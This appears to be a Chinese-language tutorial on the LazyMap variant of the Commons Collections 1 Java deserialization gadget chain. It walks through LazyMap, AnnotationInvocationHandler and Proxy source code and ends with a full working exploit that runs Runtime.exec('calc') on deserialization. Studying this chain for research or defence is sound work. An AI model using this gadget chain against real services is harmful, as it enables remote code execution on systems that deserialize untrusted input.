LazyMap 这是CC1链的第二种利用方式,如果没有看过前面文章的需要看此文章:AnnotationInvocationHandler + TransformMap + Transformer
LazyMap 是 Commons Collections 中的一个集合类,它的作用是延迟加载数据。即只有在需要的时候(例如通过 get 方法),才会触发 Transformer 链条的执行。在反序列化攻击中,LazyMap 通常用来延迟触发恶意操作,而不是在创建对象时立即执行,这有助于绕过一些检查或避免直接触发攻击。
懒加载 :LazyMap 在访问某个键时,不会立即返回存储的值,而是通过 Transformer 动态生成。这个过程是懒加载的,只有在访问 get() 方法时才会触发。
触发攻击链 :由于 LazyMap 能够在访问键时执行 Transformer,它被广泛用于反序列化攻击中,用来在 get() 方法中触发代码执行链(如调用 Runtime.getRuntime().exec() 执行命令)。
前面我们在查看InvokerTransformer类中的transform()时,查找有哪些调用此方法时出现了两个有意思的类 第一篇文章我们使用的是TransformedMap 类,这篇文章我们使用LazyMap 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class LazyMapn extends AbstractMapDecorator implements Map , Serializable { protected final Transformer factory; public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
在get()方法中调用了transform(),看看代码逻辑,我们传入map数组中不存在的key键名即可,factory是实例化时传入的Transformer
AnnotationInvocationHandler 我们继续查看哪些调用了类中的get()方法 我们又在AnnotationInvocationHandler类中找到了get()调用处,这里的使invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
经分析,我们需要满足前两条 if 语句,才会触发 memberValues 对象的get方法,否则会提前返回值
第一个if:
1 if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class)
我们调用方法的名字不为 equals即可绕过 第二个if: if (paramTypes.length != 0) 我们无参调用方法即可绕过
Proxy 我们看一下invoke方法所属类的定义,如下:
1 2 3 class AnnotationInvocationHandler implements InvocationHandler , Serializable { …… }
发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写****invoke 方法,并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annntation = a.getDeclaredConstructor(Class.class,Map.class);annntation.setAccessible(true ); InvocationHandler handler = (InvocationHandler) annntation.newInstance(Documented.class, lazyMap); Map inv = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
接下来便是要解决——如何无参调用代理对象中的方法
这里实际上只要是找到无参调用对象中方法的地方即可,不限制在哪个类,但终点要为readObject方法
找到readObject方法也就意味着找到了cc链1的起点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
我们发现for循环中的该语句可实现对memberValues变量中的方法实现无参调用
1 for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
我们可以通过反射获取构造方法进而初始化,然后构造函数的memberValue变量值设置为我们的代理对象即可
整理下思路 :
我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象inv,然后又通过反射创建了一个AnnotationInvocationHandler对象,并将成员属性设置为代理对象inv,目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象inv(memberValues变量)实现无参调用,从而触发代理处理器AnnotationInvocationHandler类中的invoke方法,进而触发get方法,最后触发transform方法,从而实现cc链1
1 2 3 4 5 6 7 8 9 10 11 Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annntation = a.getDeclaredConstructor(Class.class,Map.class);annntation.setAccessible(true ); InvocationHandler handler = (InvocationHandler) annntation.newInstance(Documented.class, lazyMap);Map inv = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);Object obj = annntation.newInstance(Documented.class,inv);erialize(obj); unserialize("ser2.bin" );
对其进行反序列化时调用了AnnotationInvocationHandler类中的readObject(),正好通过memberValues.entrySet()执行了inv.entrySet()绕过了第二个if调用到了get方法
最终EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package com.javatest;import com.sun.javafx.collections.MappingChange;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Documented;import java.lang.annotation.Target;import java.lang.invoke.MethodHandle;import java.lang.reflect.*;import javax.swing.text.html.ObjectView;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws Exception { Transformer[] transformerArray=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformerArray); Map map = new HashMap (); map.put("" ,"awaa" ); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annntation = a.getDeclaredConstructor(Class.class,Map.class); annntation.setAccessible(true ); InvocationHandler handler = (InvocationHandler) annntation.newInstance(Documented.class, lazyMap); Map inv = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler); Object obj = annntation.newInstance(Documented.class,inv); serialize(obj); unserialize("ser2.bin" ); } public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser2.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }